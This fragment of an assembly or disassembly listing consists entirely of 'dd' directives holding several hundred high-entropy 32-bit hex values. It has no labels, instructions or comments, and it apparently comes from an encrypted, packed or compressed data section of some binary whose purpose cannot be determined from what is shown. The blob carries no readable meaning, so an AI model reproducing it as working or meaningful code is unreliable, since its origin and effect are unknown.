		dd 0B5282CFBh, 9B66B03h, 5FC870E9h, 4A49E8BEh, 78B25FFh
		dd 0D048C97Ch, 5B7BE90Ch, 0ADB928D7h, 0A8E48002h, 56575066h
		dd 0FE589E0Ah, 13F4FCF5h, 47D6E99Bh, 2DEA8801h,	10CC39DEh
		dd 6809C73Fh, 0D21A2B55h, 134FB7A0h, 0A6900773h, 0E41E3501h
		dd 2EDC175h, 4459FC40h,	0E97309EAh, 6DFA4B30h, 0B3239029h
		dd 85BD6682h, 0ED747D72h, 80ACED65h, 515B1C7Fh,	0A72C4EB1h
		dd 0F9C9C80Fh, 0C15BB55Ah, 257BBCADh, 6A5EE5D7h, 537BA3C2h
		dd 1561395h, 0AE6344D1h, 0C1843E3Bh, 1340C30Dh,	0E94F42Ah
		dd 456F4641h, 0BC1B089Eh, 7468E0C5h, 0BB33A848h, 8F1BD02Ch
		dd 630FB601h, 29EB2901h, 0D81489FBh, 52FEBEC1h,	30741C80h
		dd 813B1D9Ch, 606A0FF6h, 5EF0E03Ah, 1D173425h, 4057FD7h
		dd 0C336E202h, 4DE9E64Eh, 0FA096A2Fh, 0D7137F9Ah, 0B8F963A2h
		dd 4C6E68C1h, 0B1F675C2h, 89DFF452h, 0AFE46391h, 0E9C2F191h
		dd 0BF1F58ADh, 0AE200665h, 8242CE02h, 57F8E948h, 275B2505h
		dd 5CA7C27Bh, 0B9CB20FFh, 5B8718E2h, 0D3F6B821h, 4913C7A8h
		dd 0F1053051h, 6E27C913h, 3A1AE8FAh, 8961DD3Bh,	13E47AF4h
		dd 41BB83Fh, 0F7500B9Ah, 0D944EDD1h, 2F5B5401h,	0D39F20EDh
		dd 0F730907Dh, 0F6257E93h, 0FC56E865h, 9D1B0BB6h, 1A7698E9h
		dd 0FF6BAE21h, 0D525A115h, 8D2074C4h, 875C5A28h, 7ACD9258h
		dd 68E328FCh, 99BADDA7h, 0C877EADBh, 61CCE98Ch,	5DEFF5B8h
		dd 6C8B3E52h, 0BDB3A916h, 42D62720h, 0C21ADCFDh, 0F1115DD7h
		dd 193BFECDh, 0E48008C1h, 294AE903h, 8DEA5C74h,	7E6AEC28h
		dd 0DA0D283Ah, 0E84E6DEDh, 9D871264h, 2FA118D7h, 0D9ED2565h
		dd 5D5AD2Fh, 39F7CFB1h,	326204EEh, 95D20A27h, 0D118EC42h
		dd 2306AEF7h, 5A028E0h,	443D0E02h, 640490D1h, 4305FC67h
		dd 0EEC1D6F7h, 0ACBB01FFh, 6069B82Ah, 729A3AA8h, 0D1830BF0h
		dd 8F3ED758h, 4CF61751h, 0EC126CABh, 0BE3DD560h, 0C5AA061Bh
		dd 0BBAB8366h, 0FBD3FE8Bh, 6A632F62h, 0BD88E699h, 0DACB7673h
		dd 1782C1A7h, 3E556932h, 0A80DD805h, 513C44B2h,	320512AFh
		dd 3A2A6D5Eh, 6D2031AFh, 1237BB29h, 58A71821h, 0B9423650h
		dd 3725BC53h, 0A1BBEF80h, 0C3024AF2h, 0C23E872Dh, 589C12Ah
		dd 0E10F0745h, 3EDF3FAh, 82045EC9h, 7D3FD812h, 0CBEA924Ah
		dd 18F64ED5h, 4802B6C9h, 6801C7B4h, 0CC6A545Bh,	7AE97CD1h
		dd 0F2D6DC8h, 1CC95BBDh, 86D048A9h, 0BD44214Bh,	70ABD968h
		dd 53E9553Fh, 50064FBEh, 4A950168h, 4A00EB58h, 57781FCAh
		dd 10F7953Bh, 24E94A35h, 0CB2F5E80h, 0B5620159h, 0A9AD584h
		dd 5B9590DDh, 7E46B517h, 0F64ACF25h, 0EA8970C2h, 8219E927h
		dd 415657BEh, 813C4E07h, 0F74D035Ah, 0F62F505Ah, 827879B2h
		dd 2D2A2F73h, 6E80CD7h,	50AA205h, 17B0253Dh, 0DEB30353h
		dd 8867EB80h, 0D62C5BA8h, 4F0281Dh, 52B25E2Dh, 1D14B05Dh
		dd 94299D43h, 276A4FFh,	0E2114501h, 16E13EF2h, 7EAAD92Eh
		dd 164B4598h, 4D364657h, 7A0F4F1Ch, 0DF81CD25h,	0D1CFD103h
		dd 897A26A3h, 2E6EE0FCh, 9B9C6B7h, 7D5478ACh, 4C42B38Ch
		dd 3F23C795h, 52F1522Dh, 48A56884h, 9610E9F3h, 55BE2713h
		dd 5EF3B823h, 0ADC3A602h, 5570E60Ch, 6F08585Eh,	0FF681316h
		dd 0B6AEB8C5h, 0E2AAF439h
		dd 12EBA238h, 0D12123C0h, 0CB807EC3h, 0E22A9EF2h, 68D09FEAh
		dd 2F9F7FE9h, 279A807Fh, 0E9AFD682h, 963D34D7h,	0D1557A98h
		dd 0FB944BF5h, 0E91802A6h, 0C3994D2Eh, 2FDE0299h, 5BDF291Bh
		dd 72F5DC55h, 12A380D5h, 7F1571h, 449EE281h, 0EAC1350Dh
		dd 4DC0548h, 0FE57D602h, 0EF1891BBh, 87CC6E53h,	0F02AF150h
		dd 883ECB06h, 42667D7h,	9C0D9059h, 0C1FC5E0Ah, 0A5C765h
		dd 3D675DB9h, 46127AADh, 7BC2DD3Eh, 20FBB712h, 0E225AA94h
		dd 585ADF69h, 6E7497E6h, 25E95CD0h, 2667DA0Ah, 573C5518h
		dd 3CE20E9h, 3C7250BDh,	8950E8C1h, 0EE67285Eh, 68314C7Ah
		dd 7213680Bh, 0E92D42C6h, 7536C2E8h, 6D11CC5Bh,	13349248h
		dd 33F981B1h, 0F9439F60h, 0FBA17953h, 4F38EA2Fh, 1C07BDB7h
		dd 0C1E6EE61h, 28170EF3h, 0F9F080CAh, 33099D8Bh, 0F25FBCEAh
		dd 335B271Ah, 2208C349h, 0E5027C0Ch, 172223Dh, 222AE2F1h
		dd 965FF908h, 52E97D96h, 6816B82Dh, 0F3046716h,	104A0CDEh
		dd 267CDEB6h, 0C2D269B2h, 5F095A7Dh, 625C3ECh, 2F9767D8h
		dd 0FBC96E53h, 587C0813h, 0E1684D02h, 174C67Eh,	0F75B5D53h
		dd 0C9DD31DBh, 2308A8EBh, 0B05CF40h, 2CC96D4Fh,	98A389D7h
		dd 4A806824h, 85BBA620h, 0AC20E0E9h, 2F0921F1h,	6B542954h
		dd 581C6302h, 0ADAF5D31h, 9750BF81h, 0C8B2A01h,	0CDDCAF4Ah
		dd 48403268h, 0B2CAE267h, 0E978855Ch, 27384BCDh, 0FFE38505h
		dd 3E8F3A4h, 5710544Ch,	46A06853h, 5B277B91h, 20A6E043h
		dd 0F4E5871h, 9F3F750h,	4A30C4FCh, 4F0C69D8h, 8B187BE9h
		dd 5A13409Fh, 0F931595Ah, 286E5366h, 0E24C88AAh, 515A2708h
		dd 4C7C107Dh, 973220C1h, 0E5C74EC3h, 0E33FD85h,	53B3BFEFh
		dd 17B4E2EBh, 4CB9584Dh, 0E04781C7h, 579879AAh,	5C67C136h
		dd 48AB9417h, 22C8400Bh, 31249C0Ch, 0BCE220D2h,	12C10A27h
		dd 0DE56B228h, 0A01C3D6h, 8CB55171h, 0F6C2C5D8h, 0A7E8A5EBh
		dd 1905467Fh, 0DFE11CE9h, 217CC5E6h, 44AB3A87h,	0C0DE2934h
		dd 0DC747AEAh, 0E5B6F30h, 3ECF034Eh, 0E989017Fh, 98FD5432h
		dd 1687B9B1h, 0EB5E5334h, 0D2F7E00Ch, 711819C2h, 503774EEh
		dd 685E54D6h, 0EB5A1E31h, 0B6323974h, 8420FD97h, 0F15028FAh
		dd 0D5885109h, 0F0602985h, 78BF5F21h, 0FAB284D0h, 55FC60C4h
		dd 286FDBEEh, 4FF6704Ch, 0A76F90A5h, 0D07B8BACh, 0C549A8AFh
		dd 758A3E0Dh, 0EE1D0512h, 3515D28h, 1FB3B8B9h, 0FC4A01F6h
		dd 6EEEC9EEh, 8B3B8DF9h, 0DF9EEECAh, 0B5C9AE50h, 0FE8CC2F9h
		dd 0BDC7CB25h, 502DD55Ch, 22F4B78Bh, 0F1FAA28h,	7C6DF64Ch
		dd 329A03D5h, 26021198h, 26474B18h, 28057D21h, 4C10BDC3h
		dd 49C74A21h, 0FDDE0CB9h, 701162F6h, 1862C731h,	0C629F3C0h
		dd 7C089B99h, 0A2DD27B3h, 0B6FA58Eh, 37433B5Ch,	804E581Eh
		dd 2C45EE01h, 41556041h, 0ED36DA95h, 91423079h,	9C2A0516h
		dd 216004EAh, 0F5BD83EEh, 0D608FDB5h, 4C691A56h, 364EBB3Ah
		dd 8C40C650h, 80590E91h, 0C76232E7h, 25548877h,	30D4EA07h
		dd 8D54C3Eh, 0F686E8F6h, 128AB666h, 8A920928h, 0C0028E48h
		dd 72F6EB2h, 0CBB25D74h, 0AD8F825Dh, 37467740h,	6C3C3195h
		dd 1CE26810h, 6EC5B4A9h, 0F3EF0812h, 0EE3EC575h, 542F0890h
		dd 7622757Bh, 37AD047Dh, 8151E801h, 39F3B382h, 4B7E047Bh
		dd 0B9E021F4h, 4024EE6h, 1715B33Fh, 8AE1A7F1h, 0BEAD006Ah
		dd 6FC262C5h, 0E0F70934h, 9BB79B0h, 559E1E5Eh, 810011F8h
		dd 0C1FA2BF5h, 0BA1AE934h, 0F7C29725h, 6494F17Fh, 772586CFh
		dd 9872848h, 8005E5C0h,	162C4952h, 0C4A22AE9h, 0F8EB4A81h
		dd 0E6829DD8h, 400DF305h, 4C403CE9h, 13763A06h,	0EC35F168h
		dd 70E7C980h, 39BA0449h, 0C0770259h, 0DF03C839h, 6FE92608h
		dd 5B762D18h, 4711710Bh, 0A821171Ch, 0F02A4BB3h, 99FB311Ch
		dd 0EF4708DFh, 69A8C2BDh, 9300F0A9h, 35B160B2h,	23F1292Ch
		dd 0ABA84713h, 0F32D3B9Eh, 0C85025D4h, 8C70F359h, 90DF4E0Eh
		dd 0EEC038E9h, 0DEF6041Eh, 28548239h, 0F83DE9F0h, 59E9A255h
		dd 0F35B96D4h, 0E8C10915h, 55F58610h, 7AE5A367h, 0A0945906h
		dd 0D686B31Dh, 0A36185A1h, 0CE317B48h, 0DFC1D5B9h, 987FABE8h
		dd 2DDC0B35h, 42F566F9h, 57DD84ABh, 2D8F19E9h, 0EB7A5A25h
		dd 3E0BC081h, 3400BF15h, 7F2DC5BBh, 0E9B17Dh, 0D8BCF81h
		dd 2A901DE8h, 0D3244813h, 700468BCh, 82557344h,	0B1800768h
		dd 652D290Dh, 4353409Dh, 2FFB90BEh, 7C663ECFh, 0B466B109h
		dd 0DE088431h, 3B82B900h, 25F432AFh, 8BEA204Ah,	0BAEC84CCh
		dd 0E52CECAEh, 64DF420Bh, 0FCDA9D00h, 1C28F60Dh, 0DA02ACEBh
		dd 4CDED0A4h, 149A168h,	0B2A55217h, 13257CF1h, 172D137h
		dd 3370BD55h, 0C04D7E4Ch, 0FE400F6Bh, 0B74AD7E9h, 88B09F6Eh
		dd 25925F41h, 0B85BB08Fh, 0B50D6307h, 0F7B3533Ch, 90165DF6h
		dd 8D30C6C5h, 13DE340Dh, 276EC3Bh, 4572BDF2h, 0C56EC2C8h
		dd 0FB62A746h, 7B97DE75h, 0ECD1DCE2h, 12D6F02Dh, 1D789D17h
		dd 10D71F9h, 0A0C78DEh,	0F20453ACh, 7C4CCF1Ch, 5E79286h
		dd 18E03441h, 13F4AA47h, 0F580F445h, 6FD852Bh, 7838E2A3h
		dd 0CACEEB9Fh, 0F1674B80h, 0A870E86h, 0F74AB652h, 2CF003E5h
		dd 86B75A5h, 0BA015D83h, 347E3FE3h, 143F03Ah, 0E90BBE91h
		dd 76A500Bh, 4352CBEh, 6518A240h, 82BC225Fh, 17FEA210h
		dd 3C9A226Ch, 31EBCB49h, 1ED66B74h, 7852970Ch, 48F15D48h
		dd 1844B2Fh, 850BF3AEh,	0A303D3F7h, 8D4D25DCh, 1769D1EBh
		dd 0CDC5504Bh, 0F325618Bh, 0C1BF606Ch, 0F0134B44h, 3C4AE920h
		dd 0C380CE02h, 85167D5Fh, 90F17C95h, 0A8B8022Fh, 75272E16h
		dd 390B7650h, 0A2E7CCF1h, 77F8211Bh, 0E9786474h, 147CF7F1h
		dd 1C4BBBD6h, 0EF29F701h, 75A5D8F1h, 55004447h,	3BD16850h
		dd 58782F85h, 2D0450D6h, 5856DE4h, 0F82EC4AAh, 0B2E982ADh
		dd 0DBE7A058h, 0F40FCE20h, 2F90BE44h, 77A7F867h, 0C501D030h
		dd 9A6E919h, 8960CA0Fh,	0F7D1C5CCh, 720CEE5Eh, 0CE65754h
		dd 74157EC4h, 0DD954A18h, 2958B19Ah, 1DF26816h,	9E3EAFE3h
		dd 0C4285596h, 0A5D6AD76h, 4EA9CBFAh, 5F3F47D0h, 94604842h
		dd 0B10FE917h, 0F56819B2h, 7495ADE1h, 0C9D82186h, 6887817Ch
		dd 0D70B3C05h, 9427BD45h, 0C356B789h, 0CA6BD159h, 0F0A24A14h
		dd 428F0992h, 3360117Dh, 4412B910h, 4169C113h, 1C1F9101h
		dd 0AE426F1Dh, 5CDB50F1h, 5284CB5Eh, 4600129Ah,	6B306CC1h
		dd 4A51F859h, 5B8CD1CDh, 0F7743AE5h, 0A139F03h,	0F9298020h
		dd 5812C15Fh, 9C3CFA06h, 0B11EEFA8h, 7C12757Bh,	0DE00E156h
		dd 839329F7h, 0F9012511h, 59FE69D7h, 0CFA4EC2Ah, 0FDF8F7F6h
		dd 0E964C6C3h, 2FF15BE2h, 5F0FD034h, 3005E1F5h,	0E97F0149h
		dd 0E1BA808Dh, 94285A75h, 273924E6h, 0D2687421h, 37953944h
		dd 16B18DEBh, 26E3B3C2h, 82DCD198h, 55B27157h, 4FC26942h
		dd 58550809h, 1F762214h, 4609D7FCh, 77491CA1h, 0C6D52E0Bh
		dd 2C109774h, 0E92F87CDh, 823E545Dh, 0E370B001h, 8FC179EAh
		dd 0E804071Eh, 528B5AE2h, 0C2D8AF0Bh, 252CAC16h, 96AA1CBBh
		dd 7961B363h, 10FD0834h, 5D2F79ECh, 8ABC9657h, 3D5BF7C2h
		dd 0CE9BE9C1h, 2FA14EAEh, 59815D89h, 60D30523h,	8102DB3Ch
		dd 5432D0CBh, 0C060550Bh, 0CD254B88h, 8844D6BDh, 6612B3ABh
		dd 0F41FE884h, 0B2BD2A12h, 0DE3CEB4Ah, 3EDF9D57h, 290C9D4h
		dd 0E9178E66h, 68BAE095h
		dd 0D65F53CFh, 0ED0444DDh, 0E9BB3CBAh, 7FDAEE59h, 592DA777h
		dd 24A5C5C9h, 0C15F5294h, 137AC958h, 0A46EB87Bh, 8959A2EEh
		dd 55630357h, 0E901F008h, 8C2BFDB4h, 1B60399Dh,	0A6355F10h
		dd 0AF9D27D0h, 55AFA9F4h, 880E988h, 933A200Bh, 5CF20A94h
		dd 16132048h, 121FE2DAh, 94045E57h, 0FB1610E3h,	37DA5206h
		dd 6B744541h, 2A61D5CDh, 0EE10D03Eh, 0A60197F1h, 2614059Dh
		dd 0F4701621h, 5E07A12Dh, 1343B66Eh, 0FC739AE6h, 320B5854h
		dd 68EA024Fh, 0DDF1376Ah, 7253608Bh, 0E190B9Ah,	0C6F64122h
		dd 62C07125h, 3103A4DDh, 0CD693F2h, 25F96808h, 0A540B021h
		dd 6FA0B75Ah, 0ECFEC257h, 9F90CE90h, 8367361Fh,	3CFDD027h
		dd 49AF4119h, 0DB30EFF2h, 0C2804090h, 0D02813F7h, 7290FB5Ah
		dd 4C2023A3h, 9F34B60Dh, 0BDF6FB0Dh, 9FA69073h,	0E98BA945h
		dd 273DC3B7h, 9BC2620Ch, 0EF465DFh, 0C241C331h,	0A709A2E9h
		dd 0AA80F5EFh, 0FB727DACh, 0DBBEC4FCh, 1200AD17h, 294A92B8h
		dd 0DE895875h, 0C65FBC15h, 88A5AD3Bh, 7E057541h, 5B7A2CF8h
		dd 51C500EBh, 0D5F670B5h, 0ED8004C3h, 33063B61h, 2F4C513h
		dd 0BC0EE95Ch, 74BF587Ah, 0C4F525B8h, 953DEEBBh, 56501055h
		dd 4F3C0ABEh, 9ED7445h,	610B731Ah, 8D986055h, 0D0539D2Dh
		dd 30026409h, 9F47A10Ch, 114462F1h, 0BF5B54B0h,	572F15D3h
		dd 2F80FF1Ch, 7BB778AAh, 27478CC2h, 0ECAE215h, 400238D9h
		dd 7D612F7Ch, 39541FA0h, 5A957495h, 4CFB2032h, 30136812h
		dd 0FA1F6CAAh, 93BDD85Ch, 0D5F7DDD1h, 33644971h, 57ED03BFh
		dd 0EFD16A93h, 6747042Eh, 0F405697h, 356727B8h,	0C5212C76h
		dd 52ED01C8h, 9E0FB13Eh, 6EC9D20Ch, 0E9CF6050h,	0AEF054DCh
		dd 0FAB17B51h, 0F0A84AB0h, 6731685Ch, 0DF929D2Bh, 77DBEA10h
		dd 0D55ACC2Dh, 98FED80Bh, 9A8EF002h, 0D2F6D043h, 6043F9C4h
		dd 4555D80Ch, 0A0DDFE23h, 2C2769F8h, 3274CE1h, 46DEF708h
		dd 72040C2Dh, 3487E220h, 0BE3E3340h, 5FC26F5Ah,	78E97B21h
		dd 54B32FDBh, 8EA2BF92h, 0C2585E85h, 60FC938Bh,	2CB81C93h
		dd 5730E9B0h, 2F6B669Fh, 57490AFAh, 15814008h, 914F500Ch
		dd 568D63C2h, 492D01CEh, 81267F05h, 0E02B93C0h,	62DA2975h
		dd 0F4080991h, 0F9B8471Eh, 0F86F94D7h, 0E4294B6Bh, 16547AACh
		dd 690099FDh, 0E781303Ah, 2EF42E0Fh, 1627550Ch,	0E1789737h
		dd 8071D63Eh, 651F6C70h, 97F08929h, 0BB9E38F7h,	3F7F177Bh
		dd 0FD15807Dh, 70B5711Ch, 9E6C099Ah, 10F888FBh,	51AC6C9Ch
		dd 9F342A8Ah, 0FD7C0D6Fh, 54D3417Ah, 0DC68575Dh, 5FFC227Eh
		dd 70C05090h, 76194182h, 8E32EC1h, 0F60A8411h, 16E08277h
		dd 0BCEFC0Bh, 24F41ABEh, 8078B850h, 33123FBFh, 2EA0C2Bh
		dd 36445697h, 8429DE62h, 0B9F3F480h, 0F0F5FC3Bh, 40829409h
		dd 1C6C4E7Ch, 800D1758h, 0E9419725h, 7DCB8871h,	0E20200F9h
		dd 0FA45F158h, 0FBAE4EB3h, 7D7F8B41h, 902B4ADEh, 0BB2DD8ADh
		dd 0A9F363BFh, 3EDD8EA7h, 0BF46802Bh, 0FD2D6943h, 0F83AE938h
		dd 0C2133101h, 72FE7E5Fh, 6BFF540h, 0B0FA8980h,	13875B32h
		dd 0B2FBEC4Dh, 95BFD8AFh, 4DCED07h, 0DCCA12D0h,	0F9C3800Ch
		dd 0F1902206h, 0C8FEDC00h, 0E8C07334h, 0EE35EA03h, 0C3282798h
		dd 0C84B4C54h, 0E0EED559h, 0B5C590A1h, 0C02FDF7Ch, 823B1427h
		dd 0BAFECC5Fh, 5FA30134h, 0F5810EC1h, 5BB0F49Bh, 0E5A9554Fh
		dd 3040EB25h, 231E26BBh, 29365D2h, 48AD5CF0h, 0C8046852h
		dd 0F811802Eh, 0D0011348h, 0D8873CE9h, 0E1AC4E9h, 1B4BE7BDh
		dd 0D1E58110h, 0B49E7760h, 2A2B0F15h, 0E94A81F6h, 5EB33ECFh
		dd 0A2D6AC4Bh, 0F7D8C2E9h, 0B2F80414h, 0CD74535Fh, 4A50F6BFh
		dd 7CB26A53h, 1F9D0AC4h, 57DC19E7h, 82BBD82Eh, 3CDC1300h
		dd 0ED4DC205h, 0BF70B52Eh, 9B03A608h, 14EA071Eh, 0BB7EA571h
		dd 0A901089h, 0F281011Ch, 0B6D0B480h, 1055A82Eh, 0B80EEEDFh
		dd 0EF3740EAh, 0F304FE12h, 4B996031h, 60EAE305h, 0E95452D2h
		dd 16F66349h, 65642068h, 0BD134AFh, 0D8E4F8E2h,	0B09E898h
		dd 0F56E9E4Dh, 467AE8F2h, 8014252Ch, 3CA7AD02h,	1347777Dh
		dd 87F517BEh, 35570545h, 55362CAFh, 738ADC9Dh, 574CD583h
		dd 6FB12018h, 4A091C33h, 0CC954AD8h, 685502C2h,	1D0C298Eh
		dd 0DA62D71h, 0C61EF409h, 47B62D49h, 9D6E6B22h,	0BA80F251h
		dd 6810E15Fh, 8EA39FD5h, 7326C244h, 0E60B4EF2h,	81F3123Ah
		dd 0A139ABAFh, 0D241A03Ah, 236E5A81h, 8E3F804Ch, 0F7EAA511h
		dd 70F2AA66h, 0D76DCA95h, 1A20109Ch, 0BCEB9DA3h, 50668803h
		dd 0D85FB652h, 5EF1E9F4h, 687CD935h, 10CAB101h,	70F27A6h
		dd 0B248D0F7h, 0ABFE2F9Bh, 0A3FDCE93h, 0A571972Ch, 0F59358DEh
		dd 0BE2B75B1h, 1FF79421h, 70561492h, 0F3D7883h,	0C0465A64h
		dd 21F02105h, 0C2031DE6h, 48F45175h, 98AE20FFh,	14209593h
		dd 0A4C58FDh, 0EB1ECEDh, 9A12072Eh, 0FF253F1Ch,	0B1681F18h
		dd 0F033469Dh, 5537024Dh, 98E95B27h, 8B0FF1DDh,	3877FD9Eh
		dd 9DC588E9h, 5276A758h, 7597C276h, 0A9057229h,	27908051h
		dd 62258C20h, 25B2565Fh, 0E95C68DFh, 2513B23Ah,	4ED95558h
		dd 0F440A58Bh, 4D5EEC0Eh, 0E8974B6Ah, 3DF2FE2Dh, 896F24A4h
		dd 8C40565Fh, 3F4C1B17h, 0B2A44E99h, 0E2805EDh,	0BB451944h
		dd 46425A8Dh, 118341CAh, 0EC9C6FC9h, 0E3E0A01Fh, 2D4DD1EEh
		dd 6ECE1006h, 1CECBFC0h, 0D12B123Dh, 3780E9EFh,	2942154Ah
		dd 0DF5858C7h, 0D621B404h, 0EBA9AEC2h, 63C012DAh, 0DF2E658Bh
		dd 11150005h, 70E44E8Bh, 9300B581h, 0D8282B04h,	0FA096690h
		dd 0F7CFEE80h, 6BF4EF89h, 6649B360h, 96E64868h,	0D7C9FD3Fh
		dd 0C2AC845Fh, 54573160h, 80DD53DAh, 0E9D021C5h, 14329231h
		dd 5705E5Ah, 0B80474EAh, 0ED8727C3h, 0E0F24D20h, 53906F41h
		dd 558E42B5h, 0B89DCC5h, 4E3ADA5Fh, 5EAFC27Fh, 2B40E541h
		dd 0BBBA6DEFh, 291530FFh, 3D1E18E5h, 0DB974E59h, 98835714h
		dd 25BAC38h, 0E9ACFCA8h, 7927DE25h, 0E4CF14FFh,	0B4B0257Bh
		dd 40A979A0h, 62C14FDEh, 4E580645h, 1EC1B06Bh, 56D5CB65h
		dd 3F73E6AAh, 4E403868h, 0E9DE61BEh, 5E396CDCh,	0BB4B89E8h
		dd 2D3B35C9h, 23BB2EC6h, 0D72828E8h, 0B098E301h, 7F295540h
		dd 2EC52DF8h, 93BD8153h, 0DA21BF2Dh, 9214EC8Bh,	68E9C52Bh
		dd 0C1FD2A55h, 96A31F5Eh, 0F03E56ECh, 0F0C409BBh, 0B213C7F2h
		dd 32591682h, 0F32D7EA8h, 0E958B37Ch, 0F6A555EDh, 9C819159h
		dd 0E755BCB9h, 63963F77h, 51420208h, 94E95952h,	23B739D0h
		dd 49EA38Bh, 6804C0E1h,	0C330BE63h, 9535D2E9h, 6856A810h
		dd 142EAA0Ah, 0A63AC736h, 0F26F6667h, 5FAF4404h, 3C30B912h
		dd 3A620CD5h, 4EE91129h, 5C09094Bh, 42D8597Fh, 8ADA48BFh
		dd 6CE0B676h, 0B8D9F724h, 71AC2612h, 6B967EC6h,	5917F67Eh
		dd 0F3406F7Bh, 2BE9D321h, 125F956Dh, 0B3ABF72Fh, 886B9CF7h
		dd 806B8341h, 0E5BD5F2Ch, 32E2A6EAh, 0D2FF5E23h, 7D968199h
		dd 0D9656603h, 84F7E082h, 24D4C848h, 68134C20h,	62EA2117h
		dd 0E3615226h, 162622F0h, 0E4B4E846h, 3B350708h, 0D362C876h
		dd 5B030566h, 0B95E9EBDh, 7C69D939h, 5B58A76Eh,	5226EABCh
		dd 4ECCC0B6h, 0C69065ABh, 4125C707h, 0CF603798h, 58D07D61h
		dd 0A5440F21h, 289B2A68h, 19B62682h, 0DF5EADA6h, 1D1CACC4h
		dd 9488D5F3h, 0CA685D04h, 9630AB01h, 5C7A7722h,	1B2F2C0Eh
		dd 0E098A393h, 2E62E268h
		dd 7E2BFD69h, 0D5E46531h, 0F86DBA13h, 1608C6F8h, 244C325Bh
		dd 0E9080203h, 0B52055Ch, 0FE175E5Ah, 88D242AAh, 9FE0D111h
		dd 0BDD1BADCh, 5068099Eh, 27BD6D59h, 532FAC48h,	1F03BBC4h
		dd 5A1BA6FAh, 0F5848294h, 0F30558C4h, 1D96B14h,	803A75E2h
		dd 75E4427Dh, 0D69775E7h, 31595342h, 6355F1CDh,	0E445E989h
		dd 1300220Fh, 8EFA1587h, 166F4878h, 2CBF2F8Ch, 68800A28h
		dd 155F64B8h, 0F116AB99h, 31BDDEFAh, 0CC68EF45h, 5483CC3Ah
		dd 2D11D397h, 950B9E77h, 392C1C57h, 500D22AAh, 0D80BAE35h
		dd 0E9175655h, 4AE8F0D9h, 22560A1h, 0F943C042h,	0B38B2FE2h
		dd 340846FEh, 20B80019h, 57C941Ah, 0F4235C00h, 35D0F774h
		dd 58A212FAh, 2A06AB1Dh, 40365F56h, 975EFDh, 7886E7A4h
		dd 96774AFBh, 750B6C65h, 0D22BB3E9h, 4B8C0FF2h,	0CA6516FEh
		dd 0B08BAE8Ah, 0E24B6B4Ch, 598CD7FEh, 0AC054AE9h, 98A5D349h
		dd 51646AF1h, 17FC042Dh, 0EB054122h, 0D17CD3A1h, 68D829C1h
		dd 0A7443BC5h, 58000F4Dh, 5166C328h, 80B8B51Dh,	0C7BB2A93h
		dd 4965FBDh, 8492Ch, 6D1F6CBBh,	3C817F09h, 29851579h, 0C1E3C14Bh
		dd 22738CC1h, 0A7FD4A13h, 0AA5F0C69h, 981388B3h, 79D1291h
		dd 4E49F62Fh, 0F905E8BCh, 5C25D122h, 174CC7B3h,	540C2CD5h
		dd 37131D16h, 0BC06AFF1h, 0B0DF1708h, 12BCACFCh, 98C5C583h
		dd 0EEF484BEh, 0C2784E8h, 0C4FEE57Fh, 40AFC40h,	12880816h
		dd 0A4157301h, 1D432F0Ah, 9F314D56h, 2951CB67h,	0F3F00FF6h
		dd 6DA60258h, 0E25EE984h, 0B5EC4E77h, 0F2505A87h, 0C6D7A404h
		dd 299D09DBh, 0ED561BA5h, 0C7E90805h, 0B680990h, 0E6989F11h
		dd 2317B3B9h, 5C13738Ah, 4E11A05h, 45E55EEEh, 0C3E534E6h
		dd 1DEC88F6h, 8059EF01h, 0E17B63C7h, 0D8F26A68h, 7D2FB4Eh
		dd 0C2764301h, 62709Eh,	0D45E69B9h, 59CE8977h, 0A198BB03h
		dd 0B268882Bh, 696C5F52h, 4A73C716h, 0B6934E04h, 0A656290Bh
		dd 0CDDE5F5Ah, 267C575Ah, 0FEEEE941h, 0AA5C4296h, 0FD43AF91h
		dd 0E9116A6h, 3560D106h, 1A3CA381h, 57E389BFh, 27D902C3h
		dd 2B5BEDBCh, 0EA68C9D1h, 0FF095092h, 0B8D20BB7h, 0A73896h
		dd 802D609Ah, 0BD4E715Fh, 7829BF0h, 0E0490351h,	18F105FBh
		dd 8ACA259Fh, 9730234Ch, 3D330C32h, 0AC386FB5h,	0D008A8DCh
		dd 582F140Ch, 595014F5h, 8009179h, 0F65A66D5h, 862C68DDh
		dd 0B6631456h, 78EFD16Ch, 2B5CB4Ch, 0E9EE089Eh,	0ABC5AA75h
		dd 0CAA351ADh, 12D60B4Fh, 567D0C14h, 1EDA6805h,	0EC2D0C47h
		dd 5C354C40h, 0E3494853h, 632DA403h, 0ECEC4736h, 0CC45385Fh
		dd 5C3A1084h, 623F6658h, 3193D43Eh, 565741F9h, 7B541168h
		dd 0B72A143Dh, 0B1E3976Bh, 8C00FC58h, 35565401h, 512D7984h
		dd 2B458B0Dh, 7824001Ch, 9D5F5B05h, 0C1C3EDB0h,	0B525BF92h
		dd 5167F61Fh, 68FB765Dh, 0CA7A50B4h, 4297DC45h,	5A05AF42h
		dd 19B1EE12h, 0C277AD2Bh, 6E7ABA68h, 4FB2F490h,	0F9E8CD10h
		dd 252433B9h, 5E3058B7h, 4F21E7F2h, 5F8532E8h, 68B0F057h
		dd 0F80EF225h, 0F8E25D30h, 9570527h, 5498D58Dh,	634D28E9h
		dd 68C80512h, 52D844BCh, 6E394179h, 78B90406h, 0E681026Bh
		dd 1B9469F4h, 21C5C760h, 2D14880h, 8A905E8h, 9FD5E3Bh
		dd 21CDC0C8h, 6A64BDCAh, 76269D2Fh, 0AF440A9h, 17984188h
		dd 8B9F10FCh, 40A154EBh, 1A3F74C8h, 4B28F97h, 4E880E48h
		dd 435C178Ah, 19EF832h,	784BF181h, 81DA7F98h, 596319F6h
		dd 102E0C80h, 0E949312Bh, 52B27A4Bh, 0A571E54Ah, 0A288720Ch
		dd 20457584h, 0E04371AFh, 0C468F1F7h, 92B94B49h, 0FAD37004h
		dd 9F65B817h, 0C8BEDD25h, 6B908C0h, 3473BE2Eh, 8C0B1AB8h
		dd 0A14BE9B3h, 7D580FC2h, 3C3FA3F3h, 0B19E5C09h, 273F209Fh
		dd 92DF8395h, 36052603h, 0D14D3A53h, 0F3543821h, 4A10E8FAh
		dd 0BB9B84AFh, 1AD5BB61h, 0D4FC747Ah, 18E9BB84h, 9B775DB2h
		dd 0F06EC2C1h, 198912ADh, 0F8D91059h, 2BE7B14Eh, 0C4A14BA2h
		dd 0D157C212h, 6C5D5A06h, 460D24E5h, 0BBE9E1C3h, 9E0B3C2Ah
		dd 6C895E9Eh, 1EB2362h,	80D00EF8h, 81407112h, 5E3622EAh
		dd 1BB545Fh, 7399511h, 77C16E20h, 3CA712FBh, 2B715974h
		dd 8077032Ah, 0E283A5ECh, 0B04F8410h, 4CF0B950h, 0E5F7F09Fh
